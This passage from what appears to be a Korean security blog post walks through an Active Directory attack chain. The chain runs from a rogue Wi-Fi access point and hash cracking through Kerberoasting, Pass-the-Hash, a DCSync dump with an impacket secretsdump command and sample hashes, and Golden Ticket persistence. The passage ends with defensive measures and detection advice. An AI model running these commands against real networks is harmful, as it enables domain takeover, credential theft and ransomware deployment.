SMB  10.0.0.31  445  SRV-02  [+] CORP\홍길동:P@ssw0rd123 (Pwn3d!)

Pwn3d! 가 뜨면 그 PC에서 코드 실행 가능.

4-4. 권한 상승 → Domain Admin

BloodHound가 찾아준 경로를 따라 권한 있는 계정으로 점프하다 보면 Domain Admin에 도달한다.

일반적인 경로들:

  • Kerberoasting: 서비스 계정의 TGS 티켓 요청 → 오프라인 크랙 → 서비스 계정 패스워드 획득
  • AS-REP Roasting: 사전 인증 비활성화된 계정 해시 덤프 → 크랙
  • ACL Abuse: WriteDACL, GenericAll 같은 권한 오용
  • Pass-the-Hash: 해시 자체를 인증에 사용 (패스워드 크랙 불필요)

4-5. DCSync — 게임 오버

Domain Admin 권한을 얻으면 DCSync 공격으로 도메인 컨트롤러에서 전체 계정 해시를 덤프할 수 있다.

# impacket secretsdump
python3 secretsdump.py CORP/관리자:패스워드@도메인컨트롤러_IP

# 결과
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a5f8e57f53ebbf04f1ce4a344af8c8e9:::
CORP\홍길동:1103:aad3b435b51404eeaad3b435b51404ee:2d56fe4b1e8394d40bb0b18f8e2dfc6c:::
CORP\김철수:1104:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
... (도메인 내 전체 계정)

이 NT 해시들은 Pass-the-Hash로 바로 사용 가능. 패스워드 크랙 없이도 어디든 접근 가능.

krbtgt 해시를 얻으면 Golden Ticket 공격 가능 — 임의의 계정으로 임의의 기간 동안 유효한 Kerberos 티켓 위조 가능. 패스워드가 바뀌어도 무효화되지 않음.


5. 전체 공격 체인 요약

공개 WiFi 근처
↓
가짜 AP (eaphammer) 설치 — 회사 SSID 동일
↓
직원 노트북 자동 인증 시도
↓
MSCHAPv2 해시 캡처 or GTC 다운그레이드로 평문 획득
↓
hashcat 오프라인 크랙 → 도메인 크리덴셜 확보
↓
VPN 로그인 → 내부망 진입
↓
BloodHound 정찰 → 권한 상승 경로 파악
↓
Kerberoasting / Pass-the-Hash / ACL Abuse
↓
Domain Admin 도달
↓
DCSync → 전체 계정 해시 덤프
↓
Golden Ticket → 영구 백도어
↓
랜섬웨어 배포 or 데이터 유출

6. 왜 일반 계정 탈취와 차원이 다른가

  일반 SNS 계정 탈취 AD 도메인 계정 탈취
초기 접근 그 계정만 VPN → 내부망 전체
확장 가능성 없음 Lateral Movement → DA
최종 피해 개인 정보 전사 DB, 랜섬웨어, 데이터 유출
지속성 패스워드 바꾸면 끝 Golden Ticket은 패스워드 변경으로도 무효화 안 됨

7. 방어 방법 (기업 관점)

인증 강화

  • EAP-TLS 사용 (인증서 기반, MSCHAPv2 대신) → 해시 캡처 자체가 불가
  • 서버 인증서 검증 강제 → 가짜 AP에서 인증 시도 자체를 차단

계정 정책

  • 패스워드 복잡도 강화 (크랙 난이도 상승)
  • LAPS (Local Administrator Password Solution) → PC마다 로컬 관리자 패스워드 다르게
  • Tiered Admin Model → 일반 계정과 관리자 계정 분리

탐지

  • 비정상 VPN 로그인 알림 (시간대, 위치)
  • Kerberoasting 탐지 (대량 TGS 요청)
  • DCSync 탐지 (도메인 복제 권한 없는 계정의 복제 요청)

+ Recent posts